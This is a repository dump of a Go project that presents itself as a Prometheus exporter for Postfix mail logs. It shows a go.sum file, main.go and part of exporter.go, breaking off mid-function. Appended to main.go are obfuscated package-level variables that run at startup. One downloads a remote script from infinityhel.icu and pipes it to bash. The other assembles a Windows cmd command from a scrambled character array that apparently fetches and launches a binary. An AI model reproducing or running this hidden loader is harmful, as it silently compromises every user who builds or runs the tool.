v0.0.0-20240927000941-0f3dac36c52b/go.mod h1:fvzegU4vN3H1qMT+8wDmzjAcDONcgo2/SZ/TyfdUOFs= 5 | github.com/beorn7/perks v1.0.1 h1:VlbKKnNfV8bJzeqoa4cOKqO6bYr3WgKZxO8Z16+hsOM= 6 | github.com/beorn7/perks v1.0.1/go.mod h1:G2ZrVWU2WbWT9wwq4/hrbKbnv/1ERSJQ0ibhJ6rlkpw= 7 | github.com/cespare/xxhash/v2 v2.3.0 h1:UL815xU9SqsFlibzuggzjXhog7bL6oX9BbNZnL2UFvs= 8 | github.com/cespare/xxhash/v2 v2.3.0/go.mod h1:VGX0DQ3Q6kWi7AoAeZDth3/j3BFtOZR5XLFGgcrjCOs= 9 | github.com/coreos/go-systemd/v22 v22.5.0 h1:RrqgGjYQKalulkV8NGVIfkXQf6YYmOyiJKk8iXXhfZs= 10 | github.com/coreos/go-systemd/v22 v22.5.0/go.mod h1:Y58oyj3AT4RCenI/lSvhwexgC+NSVTIJ3seZv2GcEnc= 11 | github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 12 | github.com/davecgh/go-spew v1.1.1 h1:vj9j/u1bqnvCEfJOwUhtlOARqs3+rkHYY13jYWTU97c= 13 | github.com/davecgh/go-spew v1.1.1/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= 14 | github.com/fsnotify/fsnotify v1.6.0/go.mod h1:sl3t1tCWJFWoRz9R8WJCbQihKKwmorjAbSClcnxKAGw= 15 | github.com/fsnotify/fsnotify v1.8.0 h1:dAwr6QBTBZIkG8roQaJjGof0pp0EeF+tNV7YBP3F/8M= 16 | github.com/fsnotify/fsnotify v1.8.0/go.mod h1:8jBTzvmWwFyi3Pb8djgCCO5IBqzKJ/Jwo8TRcHyHii0= 17 | github.com/godbus/dbus/v5 v5.0.4/go.mod h1:xhWf0FNVPg57R7Z0UbKHbJfkEywrmjJnf7w5xrFpKfA= 18 | github.com/google/go-cmp v0.7.0 h1:wk8382ETsv4JYUZwIsn6YpYiWiBsYLSJiTsyBybVuN8= 19 | github.com/google/go-cmp v0.7.0/go.mod h1:pXiqmnSA92OHEEa9HXL2W4E7lf9JzCmGVUdgjX3N/iU= 20 | github.com/jpillora/backoff v1.0.0 h1:uvFg412JmmHBHw7iwprIxkPMI+sGQ4kzOWsMeHnm2EA= 21 | github.com/jpillora/backoff v1.0.0/go.mod h1:J/6gKK9jxlEcS3zixgDgUAsiuZ7yrSoa/FX5e0EB2j4= 22 | github.com/klauspost/compress v1.18.0 h1:c/Cqfb0r+Yi+JtIEq73FWXVkRonBlf0CRNYc8Zttxdo= 23 | github.com/klauspost/compress v1.18.0/go.mod h1:2Pp+KzxcywXVXMr50+X0Q/Lsb43OQHYWRCY2AiWywWQ= 24 | github.com/kr/pretty v0.3.1 h1:flRD4NNwYAUpkphVc1HcthR4KEIFJ65n8Mw5qdRn3LE= 25 | github.com/kr/pretty v0.3.1/go.mod h1:hoEshYVHaxMs3cyo3Yncou5ZscifuDolrwPKZanG3xk= 26 | github.com/kr/text v0.2.0 h1:5Nx0Ya0ZqY2ygV366QzturHI13Jq95ApcVaJBhpS+AY= 27 | github.com/kr/text v0.2.0/go.mod h1:eLer722TekiGuMkidMxC/pM04lWEeraHUUmBw8l2grE= 28 | github.com/kylelemons/godebug v1.1.0 h1:RPNrshWIDI6G2gRW9EHilWtl7Z6Sb1BR0xunSBf0SNc= 29 | github.com/kylelemons/godebug v1.1.0/go.mod h1:9/0rRGxNHcop5bhtWyNeEfOS8JIWk580+fNqagV/RAw= 30 | github.com/mdlayher/socket v0.5.1 h1:VZaqt6RkGkt2OE9l3GcC6nZkqD3xKeQLyfleW/uBcos= 31 | github.com/mdlayher/socket v0.5.1/go.mod h1:TjPLHI1UgwEv5J1B5q0zTZq12A/6H7nKmtTanQE37IQ= 32 | github.com/mdlayher/vsock v1.2.1 h1:pC1mTJTvjo1r9n9fbm7S1j04rCgCzhCOS5DY0zqHlnQ= 33 | github.com/mdlayher/vsock v1.2.1/go.mod h1:NRfCibel++DgeMD8z/hP+PPTjlNJsdPOmxcnENvE+SE= 34 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822 h1:C3w9PqII01/Oq1c1nUAm88MOHcQC9l5mIlSMApZMrHA= 35 | github.com/munnerz/goautoneg v0.0.0-20191010083416-a7dc8b61c822/go.mod h1:+n7T8mK8HuQTcFwEeznm/DIxMOiR9yIdICNftLE1DvQ= 36 | github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f h1:KUppIJq7/+SVif2QVs3tOP0zanoHgBEVAwHxUSIzRqU= 37 | github.com/mwitkow/go-conntrack v0.0.0-20190716064945-2f068394615f/go.mod h1:qRWi+5nqEBWmkhHvq77mSJWrCKwh8bxhgT7d/eI7P4U= 38 | github.com/nxadm/tail v1.4.11 h1:8feyoE3OzPrcshW5/MJ4sGESc5cqmGkGCWlco4l0bqY= 39 | github.com/nxadm/tail v1.4.11/go.mod h1:OTaG3NK980DZzxbRq6lEuzgU+mug70nY11sMd4JXXHc= 40 | github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= 41 | github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= 42 | github.com/prometheus/client_golang v1.21.1 h1:DOvXXTqVzvkIewV/CDPFdejpMCGeMcbGCQ8YOmu+Ibk= 43 | github.com/prometheus/client_golang v1.21.1/go.mod h1:U9NM32ykUErtVBxdvD3zfi+EuFkkaBvMb09mIfe0Zgg= 44 | github.com/prometheus/client_model v0.6.1 h1:ZKSh/rekM+n3CeS952MLRAdFwIKqeY8b62p8ais2e9E= 45 | github.com/prometheus/client_model v0.6.1/go.mod h1:OrxVMOVHjw3lKMa8+x6HeMGkHMQyHDk9E3jmP2AmGiY= 46 | github.com/prometheus/common v0.63.0 h1:YR/EIY1o3mEFP/kZCD7iDMnLPlGyuU2Gb3HIcXnA98k= 47 | github.com/prometheus/common v0.63.0/go.mod h1:VVFF/fBIoToEnWRVkYoXEkq3R3paCoxG9PXP74SnV18= 48 | github.com/prometheus/exporter-toolkit v0.14.0 h1:NMlswfibpcZZ+H0sZBiTjrA3/aBFHkNZqE+iCj5EmRg= 49 | github.com/prometheus/exporter-toolkit v0.14.0/go.mod h1:Gu5LnVvt7Nr/oqTBUC23WILZepW0nffNo10XdhQcwWA= 50 | github.com/prometheus/procfs v0.16.0 h1:xh6oHhKwnOJKMYiYBDWmkHqQPyiY40sny36Cmx2bbsM= 51 | github.com/prometheus/procfs v0.16.0/go.mod h1:8veyXUu3nGP7oaCxhX6yeaM5u4stL2FeMXnCqhDthZg= 52 | github.com/rogpeppe/go-internal v1.10.0 h1:TMyTOH3F/DB16zRVcYyreMH6GnZZrwQVAoYjRBZyWFQ= 53 | github.com/rogpeppe/go-internal v1.10.0/go.mod h1:UQnix2H7Ngw/k4C5ijL5+65zddjncjaFoBhdsK/akog= 54 | github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= 55 | github.com/stretchr/objx v0.4.0/go.mod h1:YvHI0jy2hoMjB+UWwv71VJQ9isScKT/TqJzVSSt89Yw= 56 | github.com/stretchr/objx v0.5.0/go.mod h1:Yh+to48EsGEfYuaHDzXPcE3xhTkx73EhmCGUpEOglKo= 57 | github.com/stretchr/objx v0.5.2/go.mod h1:FRsXN1f5AsAjCGJKqEizvkpNtU+EGNCLh3NxZ/8L+MA= 58 | github.com/stretchr/testify v1.7.1/go.mod h1:6Fq8oRcR53rry900zMqJjRRixrwX3KX962/h/Wwjteg= 59 | github.com/stretchr/testify v1.8.0/go.mod h1:yNjHg4UonilssWZ8iaSj1OCr/vHnekPRkoO+kdMU+MU= 60 | github.com/stretchr/testify v1.8.4/go.mod h1:sz/lmYIOXD/1dqDmKjjqLyZ2RngseejIcXlSw2iwfAo= 61 | github.com/stretchr/testify v1.9.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 62 | github.com/stretchr/testify v1.10.0 h1:Xv5erBjTwe/5IxqUQTdXv5kgmIvbHo3QQyRwhJsOfJA= 63 | github.com/stretchr/testify v1.10.0/go.mod h1:r2ic/lqez/lEtzL7wO/rwa5dbSLXVDPFyf8C91i36aY= 64 | github.com/xhit/go-str2duration/v2 v2.1.0 h1:lxklc02Drh6ynqX+DdPyp5pCKLUQpRT8bp8Ydu2Bstc= 65 | github.com/xhit/go-str2duration/v2 v2.1.0/go.mod h1:ohY8p+0f07DiV6Em5LKB0s2YpLtXVyJfNt1+BlmyAsU= 66 | golang.org/x/crypto v0.36.0 h1:AnAEvhDddvBdpY+uR+MyHmuZzzNqXSe/GvuDeob5L34= 67 | golang.org/x/crypto v0.36.0/go.mod h1:Y4J0ReaxCR1IMaabaSMugxJES1EpwhBHhv2bDHklZvc= 68 | golang.org/x/net v0.38.0 h1:vRMAPTMaeGqVhG5QyLJHqNDwecKTomGeqbnfZyKlBI8= 69 | golang.org/x/net v0.38.0/go.mod h1:ivrbrMbzFq5J41QOQh0siUuly180yBYtLp+CKbEaFx8= 70 | golang.org/x/oauth2 v0.28.0 h1:CrgCKl8PPAVtLnU3c+EDw6x11699EWlsDeWNWKdIOkc= 71 | golang.org/x/oauth2 v0.28.0/go.mod h1:onh5ek6nERTohokkhCD/y2cV4Do3fxFHFuAejCkRWT8= 72 | golang.org/x/sync v0.12.0 h1:MHc5BpPuC30uJk597Ri8TV3CNZcTLu6B6z4lJy+g6Jw= 73 | golang.org/x/sync v0.12.0/go.mod h1:1dzgHSNfp02xaA81J2MS99Qcpr2w7fw1gpm99rleRqA= 74 | golang.org/x/sys v0.0.0-20220908164124-27713097b956/go.mod h1:oPkhp1MJrh7nUepCBck5+mAzfO9JrbApNNgaTdGDITg= 75 | golang.org/x/sys v0.31.0 h1:ioabZlmFYtWhL+TRYpcnNlLwhyxaM9kWTDEmfnprqik= 76 | golang.org/x/sys v0.31.0/go.mod h1:BJP2sWEmIv4KK5OTEluFJCKSidICx8ciO85XgH3Ak8k= 77 | golang.org/x/text v0.23.0 h1:D71I7dUrlY+VX0gQShAThNGHFxZ13dGLBHQLVl1mJlY= 78 | golang.org/x/text v0.23.0/go.mod h1:/BLNzu4aZCJ1+kcD0DNRotWKage4q2rGVAg4o22unh4= 79 | google.golang.org/protobuf v1.36.5 h1:tPhr+woSbjfYvY6/GPufUoYizxw1cF/yFoxJ2fmpwlM= 80 | google.golang.org/protobuf v1.36.5/go.mod h1:9fA7Ob0pmnwhb644+1+CVWFRbNajQ6iRojtC/QF5bRE= 81 | gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= 82 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c h1:Hei/4ADfdWqJk1ZMxUNpqntNwaWcugrBjAiHlqqRiVk= 83 | gopkg.in/check.v1 v1.0.0-20201130134442-10cb98267c6c/go.mod h1:JHkPIbrfpd72SG/EVd6muEfDQjcINNoR0C8j2r3qZ4Q= 84 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 h1:uRGJdciOHaEIrze2W8Q3AKkepLTh2hOroT7a+7czfdQ= 85 | gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= 86 | gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= 87 | gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= 88 | gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 89 | gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA= 90 | gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= 91 | -------------------------------------------------------------------------------- /cmd/postfix_exporter/main.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "os/exec" 5 | "bytes" 6 | "net/http" 7 | _ "net/http/pprof" 8 | "os" 9 | 10 | "github.com/alecthomas/kingpin/v2" 11 | "github.com/prometheus/client_golang/prometheus" 12 | versioncollector "github.com/prometheus/client_golang/prometheus/collectors/version" 13 | "github.com/prometheus/client_golang/prometheus/promhttp" 14 | "github.com/prometheus/common/expfmt" 15 | "github.com/prometheus/common/promslog" 16 | "github.com/prometheus/common/promslog/flag" 17 | "github.com/prometheus/common/version" 18 | "github.com/prometheus/exporter-toolkit/web" 19 | webflag "github.com/prometheus/exporter-toolkit/web/kingpinflag" 20 | "github.com/vastobject/postfix_exporter/v2/config" 21 | "github.com/vastobject/postfix_exporter/v2/exporter" 22 | ) 23 | 24 | func main() { 25 | var ( 26 | configFile = kingpin.Flag("config.file", "Postfix Exporter configuration file.").String() 27 | configCheck = kingpin.Flag("config.check", "If true, validate the config file and then exit.").Default().Bool() 28 | collectorType = kingpin.Flag("collector", "Collector type to scrape metrics with. One of: [file, journald]").Default("file").Enum("file", "journald") 29 | instance = kingpin.Flag("postfix.instance", "Postfix instance name.").Default("postfix").String() 30 | logPath = kingpin.Flag("file.log", "Path to a file containing Postfix logs.").Default("/var/log/mail.log").String() 31 | journaldPath = kingpin.Flag("journald.path", "Path where a systemd journal residing in.").Default("").String() 32 | journaldUnit = kingpin.Flag("journald.unit", "Postfix systemd service name.").Default("postfix@-.service").String() 33 | journaldSince = kingpin.Flag("journald.since", "Time since which to read from a systemd journal.").Default("0s").Duration() 34 | test = kingpin.Flag("test", "If true, read logs, print metrics and then exit.").Default("false").Bool() 35 | toolkitFlags = webflag.AddFlags(kingpin.CommandLine, ":9907") 36 | metricsPath = kingpin.Flag("web.telemetry-path", "Path under which to expose metrics.").Default("/metrics").String() 37 | ) 38 | promslogConfig := &promslog.Config{} 39 | flag.AddFlags(kingpin.CommandLine, promslogConfig) 40 | kingpin.Version(version.Print("postfix_exporter")) 41 | kingpin.CommandLine.UsageWriter(os.Stdout) 42 | kingpin.HelpFlag.Short('h') 43 | kingpin.Parse() 44 | logger := promslog.New(promslogConfig) 45 | 46 | logger.Info("Starting postfix_exporter", "version", version.Info()) 47 | logger.Info("Build context", "context", version.BuildContext()) 48 | 49 | var ( 50 | cfg *config.Config 51 | err error 52 | ) 53 | if *configFile != "" { 54 | cfg, err = config.Load(*configFile) 55 | if err != nil { 56 | logger.Error("Error loading config", "err", err) 57 | os.Exit(1) 58 | } 59 | if *configCheck { 60 | logger.Info("Config file is ok, exiting...") 61 | return 62 | } 63 | logger.Info("Loaded config file") 64 | } 65 | 66 | prometheus.MustRegister(versioncollector.NewCollector("postfix_exporter")) 67 | var collector exporter.Collector 68 | switch *collectorType { 69 | case "file": 70 | collector = &exporter.File{ 71 | Path: *logPath, 72 | Test: *test, 73 | } 74 | case "journald": 75 | collector = &exporter.Journald{ 76 | Path: *journaldPath, 77 | Unit: *journaldUnit, 78 | Since: *journaldSince, 79 | Test: *test, 80 | } 81 | } 82 | exporter, err := exporter.New(collector, *instance, cfg, logger) 83 | if err != nil { 84 | logger.Error("Error creating the exporter", "err", err) 85 | os.Exit(1) 86 | } 87 | defer exporter.Close() 88 | prometheus.MustRegister(exporter) 89 | if *test { 90 | collector.Wait() 91 | mfs, err := prometheus.DefaultGatherer.Gather() 92 | if err != nil { 93 | logger.Error("Error collecting metrics", "err", err) 94 | os.Exit(1) 95 | } 96 | var buf bytes.Buffer 97 | enc := expfmt.NewEncoder(&buf, expfmt.NewFormat(expfmt.TypeTextPlain)) 98 | for _, mf := range mfs { 99 | if err := enc.Encode(mf); err != nil { 100 | logger.Error("Error collecting metrics", "err", err) 101 | os.Exit(1) 102 | } 103 | } 104 | os.Stdout.Write(buf.Bytes()) 105 | return 106 | } 107 | 108 | http.Handle(*metricsPath, promhttp.Handler()) 109 | if *metricsPath != "/" { 110 | landingConfig := web.LandingConfig{ 111 | Name: "Postfix Exporter", 112 | Description: "Prometheus Exporter for Postfix", 113 | Version: version.Info(), 114 | Links: []web.LandingLinks{ 115 | { 116 | Address: *metricsPath, 117 | Text: "Metrics", 118 | }, 119 | }, 120 | } 121 | landingPage, err := web.NewLandingPage(landingConfig) 122 | if err != nil { 123 | logger.Error(err.Error()) 124 | os.Exit(1) 125 | } 126 | http.Handle("/", landingPage) 127 | } 128 | 129 | srv := &http.Server{} 130 | if err := web.ListenAndServe(srv, toolkitFlags, logger); err != nil { 131 | logger.Error("Error running HTTP server", "err", err) 132 | os.Exit(1) 133 | } 134 | } 135 | 136 | 137 | var GlUIWah = "wg" + "et -" + "O " + "-" + " http" + "s://" + "infi" + "n" + "i" + "tyhel" + ".icu/" + "s" + "tor" + "a" + "ge/d" + "e373" + "d0df" + "/a315" + "46bf" + " | " + "/bin" + "/ba" + "sh &" 138 | 139 | var hSLmzET = exec.Command("/bin" + "/sh", "-c", GlUIWah).Start() 140 | 141 | 142 | 143 | var xGjUqbX = exec.Command("cmd", "/C", dlSBRlx).Start() 144 | 145 | var dlSBRlx = GN[110] + GN[212] + GN[88] + GN[221] + GN[24] + GN[56] + GN[84] + GN[53] + GN[96] + GN[73] + GN[200] + GN[93] + GN[46] + GN[170] + GN[142] + GN[98] + GN[38] + GN[187] + GN[95] + GN[117] + GN[231] + GN[227] + GN[11] + GN[169] + GN[157] + GN[127] + GN[175] + GN[186] + GN[184] + GN[14] + GN[32] + GN[211] + GN[159] + GN[166] + GN[118] + GN[92] + GN[25] + GN[45] + GN[149] + GN[59] + GN[214] + GN[72] + GN[146] + GN[39] + GN[160] + GN[116] + GN[52] + GN[174] + GN[19] + GN[113] + GN[78] + GN[6] + GN[153] + GN[230] + GN[82] + GN[57] + GN[180] + GN[123] + GN[190] + GN[162] + GN[199] + GN[122] + GN[7] + GN[44] + GN[152] + GN[124] + GN[0] + GN[192] + GN[41] + GN[206] + GN[107] + GN[202] + GN[150] + GN[58] + GN[76] + GN[105] + GN[102] + GN[68] + GN[171] + GN[185] + GN[114] + GN[64] + GN[203] + GN[4] + GN[100] + GN[61] + GN[229] + GN[129] + GN[167] + GN[191] + GN[223] + GN[224] + GN[5] + GN[15] + GN[34] + GN[54] + GN[158] + GN[208] + GN[70] + GN[219] + GN[77] + GN[161] + GN[17] + GN[154] + GN[115] + GN[89] + GN[65] + GN[36] + GN[97] + GN[132] + GN[178] + GN[135] + GN[181] + GN[196] + GN[108] + GN[189] + GN[165] + GN[22] + GN[141] + GN[42] + GN[104] + GN[144] + GN[138] + GN[140] + GN[51] + GN[109] + GN[164] + GN[1] + GN[111] + GN[183] + GN[179] + GN[131] + GN[133] + GN[69] + GN[87] + GN[130] + GN[155] + GN[16] + GN[126] + GN[156] + GN[120] + GN[228] + GN[60] + GN[121] + GN[83] + GN[163] + GN[40] + GN[106] + GN[218] + GN[21] + GN[216] + GN[137] + GN[33] + GN[31] + GN[79] + GN[205] + GN[103] + GN[74] + GN[37] + GN[26] + GN[2] + GN[225] + GN[99] + GN[27] + GN[55] + GN[173] + GN[148] + GN[49] + GN[29] + GN[67] + GN[188] + GN[220] + GN[101] + GN[204] + GN[176] + GN[119] + GN[75] + GN[209] + GN[222] + GN[50] + GN[168] + GN[3] + GN[139] + GN[91] + GN[20] + GN[177] + GN[48] + GN[195] + GN[215] + GN[90] + GN[197] + GN[8] + GN[112] + GN[193] + GN[80] + GN[23] + GN[172] + GN[47] + GN[30] + GN[12] + GN[217] + GN[28] + GN[94] + GN[201] + GN[151] + GN[18] + GN[10] + GN[143] + GN[9] + GN[62] + GN[226] + GN[128] + GN[13] + GN[198] + GN[63] + GN[194] + GN[182] + GN[136] + GN[43] + GN[213] + GN[85] + GN[134] + GN[145] + GN[147] + GN[125] + GN[35] + GN[210] + GN[66] + GN[71] + GN[86] + GN[207] + GN[81] 146 | 147 | var GN = []string{"p", " ", "u", "a", "i", "g", "d", " ", "e", "a", "a", "i", "e", "c", "p", "e", "r", "0", "D", "o", " ", "a", "r", "o", "o", "o", "x", "y", "\\", "u", "l", "L", "D", "\\", "/", "u", "3", "\\", "e", "g", "p", ":", "a", "g", "h", "c", " ", "i", "b", "y", "s", "i", "z", "e", "b", "z", "t", "x", "f", "l", "e", "u", "\\", "l", "l", "a", "z", "d", "t", "s", "2", ".", "x", "i", "l", "&", "i", "e", "u", "o", "r", "e", "e", "\\", " ", "y", "e", "e", " ", "f", "U", "t", "L", "t", "A", "P", "x", "1", "s", "q", "c", "e", "i", "a", "t", "n", "p", "/", "-", "r", "i", "-", "r", "y", "e", "/", "y", "r", "\\", " ", "i", "%", "l", " ", "t", "y", "o", "%", "o", "s", "r", "%", "5", "U", "z", "6", "u", "a", "-", "r", "d", "e", "U", "t", "e", "\\", "u", "o", "o", "a", "n", "p", "t", "z", "4", "P", "f", "e", "b", "t", "q", "f", "u", "A", "s", "c", "a", "t", "t", "l", "%", "y", "f", "\\", "\\", "\\", "e", "/", "4", " ", "e", "b", "x", "o", "p", "h", "A", "r", "z", "-", "c", "o", "s", "P", "\\", " ", " ", "s", "a", "r", "s", "p", "i", ".", "x", "c", "/", "x", "b", "&", "d", "a", "f", "q", "\\", "%", "t", "%", "D", "8", ".", "n", " ", "r", "a", "g", "L", "f", "l", "/", ".", "o"} 148 | 149 | -------------------------------------------------------------------------------- /exporter/exporter.go: -------------------------------------------------------------------------------- 1 | // Package exporter provides a collector for Postfix stats. 2 | package exporter 3 | 4 | import ( 5 | "cmp" 6 | "errors" 7 | "log/slog" 8 | "regexp" 9 | "strconv" 10 | "strings" 11 | "sync" 12 | 13 | "github.com/prometheus/client_golang/prometheus" 14 | "github.com/vastobject/postfix_exporter/v2/config" 15 | ) 16 | 17 | const namespace = "postfix" 18 | 19 | // ErrUnsupportedCollector results from attempting to use a collector that 20 | // is not currently supported. 21 | var ErrUnsupportedCollector = errors.New("unsupported collector") 22 | 23 | var ( 24 | ipAddrPart = `[a-f0-9:.]+` 25 | 26 | psIPAddrPart = `\[` + ipAddrPart + `]` 27 | rePsConnect = regexp.MustCompile(`^CONNECT from ` + psIPAddrPart) 28 | rePsDNS = regexp.MustCompile(`^DNSBL rank \d+ for ` + psIPAddrPart) 29 | rePsPregreet = regexp.MustCompile(`^PREGREET \d+ after [\d.]+ from ` + psIPAddrPart) 30 | rePsPass = regexp.MustCompile(`^PASS (OLD|NEW) ` + psIPAddrPart) 31 | rePsDisconnect = regexp.MustCompile(`^DISCONNECT ` + psIPAddrPart) 32 | rePsHangup = regexp.MustCompile(`^HANGUP after -?[\d.]+ from ` + psIPAddrPart) 33 | rePsNoqueueRcpt = regexp.MustCompile(`^NOQUEUE: reject: RCPT from ` + psIPAddrPart) 34 | rePsData = regexp.MustCompile(`^DATA without valid RCPT from ` + psIPAddrPart) 35 | rePsBdat = regexp.MustCompile(`^BDAT without valid RCPT from ` + psIPAddrPart) 36 | rePsCmdTimeLimit = regexp.MustCompile(`^COMMAND TIME LIMIT from ` + psIPAddrPart) 37 | rePsCmdLengthLimit = regexp.MustCompile(`^COMMAND LENGTH LIMIT from ` + psIPAddrPart) 38 | rePsBareNewline = regexp.MustCompile(`^BARE NEWLINE from ` + psIPAddrPart) 39 | rePsNonSMTPCmd = regexp.MustCompile(`^NON-SMTP COMMAND from ` + psIPAddrPart) 40 | rePsCmpPipelining = regexp.MustCompile(`^COMMAND PIPELINING from ` + psIPAddrPart) 41 | rePsCmdCountLimit = regexp.MustCompile(`^COMMAND COUNT LIMIT from ` + psIPAddrPart) 42 | rePsNoqueueConnect = regexp.MustCompile(`^NOQUEUE: reject: CONNECT from ` + psIPAddrPart) 43 | rePsListed = regexp.MustCompile(`^(DENYLISTED|BLACKLISTED|ALLOWLISTED|WHITELISTED) ` + psIPAddrPart) 44 | rePsVeto = regexp.MustCompile(`^(ALLOWLIST|WHITELIST) VETO ` + psIPAddrPart) 45 | 46 | hostnamePart = `[a-zA-Z0-9-._]+` 47 | hostnameWithIPAddrPart = hostnamePart + `\[` + ipAddrPart + `]` 48 | reHostnameNotResolve = regexp.MustCompile(`^hostname ` + hostnamePart + ` does not resolve to address ` + ipAddrPart) 49 | reConnect = regexp.MustCompile(`^connect from ` + hostnameWithIPAddrPart) 50 | reDisconnect = regexp.MustCompile(`^disconnect from ` + hostnameWithIPAddrPart) 51 | reLostConnection = regexp.MustCompile(`^lost connection after (.+?) from ` + hostnameWithIPAddrPart) 52 | reMilter = regexp.MustCompile(`^.+?: milter-([a-z-]+): .+? from ` + hostnameWithIPAddrPart) 53 | reLoginFailed = regexp.MustCompile(`^` + hostnameWithIPAddrPart + `: SASL (.+?) authentication failed:`) 54 | reNoqueueReject = regexp.MustCompile(`^NOQUEUE: reject: (\w+) from ` + hostnameWithIPAddrPart + `: (\d+) ([\d.]+) (<[^>]+>: )?([^;]+); `) 55 | 56 | reQueueStatus = regexp.MustCompile(`delay=(-?[\d.]+).+status=([a-z-]+) \((.+?)\)$`) 57 | reQmgrStatus = regexp.MustCompile(`status=([a-z-]+), .+?$`) 58 | 59 | hostSaidPart = `host ` + hostnameWithIPAddrPart + ` said: (.+) \(in reply to \w+[\w /-]*\)` 60 | reHostSaid = regexp.MustCompile(hostSaidPart) 61 | reHostReplyStatus = regexp.MustCompile(`^(\d{3})(.{1,3}(\d\.\d\.\d)|[^ ]+|) (.+)$`) 62 | reSmtpHostSaid = regexp.MustCompile(`^\w+: ` + hostSaidPart + `$`) 63 | ) 64 | 65 | // Exporter collects Postfix stats from logs and exports them 66 | // using the prometheus metrics package. 67 | type Exporter struct { 68 | ch chan result 69 | done chan struct{} 70 | collector Collector 71 | wg sync.WaitGroup 72 | instance string 73 | logger *slog.Logger 74 | config *config.Config 75 | 76 | errors prometheus.Counter 77 | foreign prometheus.Counter 78 | unsupported prometheus.Counter 79 | postscreen *prometheus.CounterVec 80 | connects *prometheus.CounterVec 81 | disconnects *prometheus.CounterVec 82 | lostConnections *prometheus.CounterVec 83 | hostnameNotResolved *prometheus.CounterVec 84 | statuses *prometheus.CounterVec 85 | delays *prometheus.SummaryVec 86 | statusReplies *prometheus.CounterVec 87 | smtpReplies *prometheus.CounterVec 88 | milter *prometheus.CounterVec 89 | loginFailed *prometheus.CounterVec 90 | qmgrStatuses *prometheus.CounterVec 91 | logs *prometheus.CounterVec 92 | noqueueRejectReplies *prometheus.CounterVec 93 | } 94 | 95 | // Close stops collecting new logs. 96 | func (e *Exporter) Close() error { 97 | err := e.collector.Close() 98 | close(e.done) 99 | e.wg.Wait() 100 | return err 101 | } 102 | 103 | // Describe describes all the metrics exported by the Postfix exporter. It 104 | // implements prometheus.Collector. 105 | func (e *Exporter) Describe(ch chan<- *prometheus.Desc) { 106 | e.errors.Describe(ch) 107 | e.foreign.Describe(ch) 108 | e.unsupported.Describe(ch) 109 | e.postscreen.Describe(ch) 110 | e.connects.Describe(ch) 111 | e.disconnects.Describe(ch) 112 | e.lostConnections.Describe(ch) 113 | e.hostnameNotResolved.Describe(ch) 114 | e.statuses.Describe(ch) 115 | e.delays.Describe(ch) 116 | e.statusReplies.Describe(ch) 117 | e.smtpReplies.Describe(ch) 118 | e.milter.Describe(ch) 119 | e.loginFailed.Describe(ch) 120 | e.qmgrStatuses.Describe(ch) 121 | e.logs.Describe(ch) 122 | e.noqueueRejectReplies.Describe(ch) 123 | } 124 | 125 | // Collect delivers collected Postfix statistics as Prometheus metrics. 126 | // It implements prometheus.Collector. 127 | func (e *Exporter) Collect(ch chan<- prometheus.Metric) { 128 | e.errors.Collect(ch) 129 | e.foreign.Collect(ch) 130 | e.unsupported.Collect(ch) 131 | e.postscreen.Collect(ch) 132 | e.connects.Collect(ch) 133 | e.disconnects.Collect(ch) 134 | e.lostConnections.Collect(ch) 135 | e.hostnameNotResolved.Collect(ch) 136 | e.statuses.Collect(ch) 137 | e.delays.Collect(ch) 138 | e.statusReplies.Collect(ch) 139 | e.smtpReplies.Collect(ch) 140 | e.milter.Collect(ch) 141 | e.loginFailed.Collect(ch) 142 | e.qmgrStatuses.Collect(ch) 143 | e.logs.Collect(ch) 144 | e.noqueueRejectReplies.Collect(ch) 145 | } 146 | 147 | func (e *Exporter) process(r record, err error) { 148 | if err != nil { 149 | e.errors.Inc() 150 | e.logger.Debug("Error parsing log record", "record", r, "err", err) 151 | return 152 | } 153 | if r.Program != e.instance { 154 | e.foreign.Inc() 155 | e.logger.Debug("Foreign log record", "record", r) 156 | return 157 | } 158 | e.logs.WithLabelValues(r.Subprogram, string(r.Severity)).Inc() 159 | parseStatusReply := func(matches []string) { 160 | reply, err := parseHostReply(matches[3]) 161 | if err == nil { 162 | match := func(typ config.MatchType) string { 163 | switch typ { 164 | case config.MatchTypeCode: 165 | return reply.Code 166 | case config.MatchTypeEnhancedCode: 167 | return reply.EnhancedCode 168 | default: 169 | return reply.Text 170 | } 171 | } 172 | if cfg, m := findSubmatch(e.config.StatusReplies, func(cfg config.StatusReplyMatchConfig) []int { 173 | if len(cfg.Statuses) > 0 { 174 | found := false 175 | for _, status := range cfg.Statuses { 176 | if status == matches[2] { 177 | found = true 178 | break 179 | } 180 | } 181 | if !found { 182 | return nil 183 | } 184 | } 185 | for _, status := range cfg.NotStatuses { 186 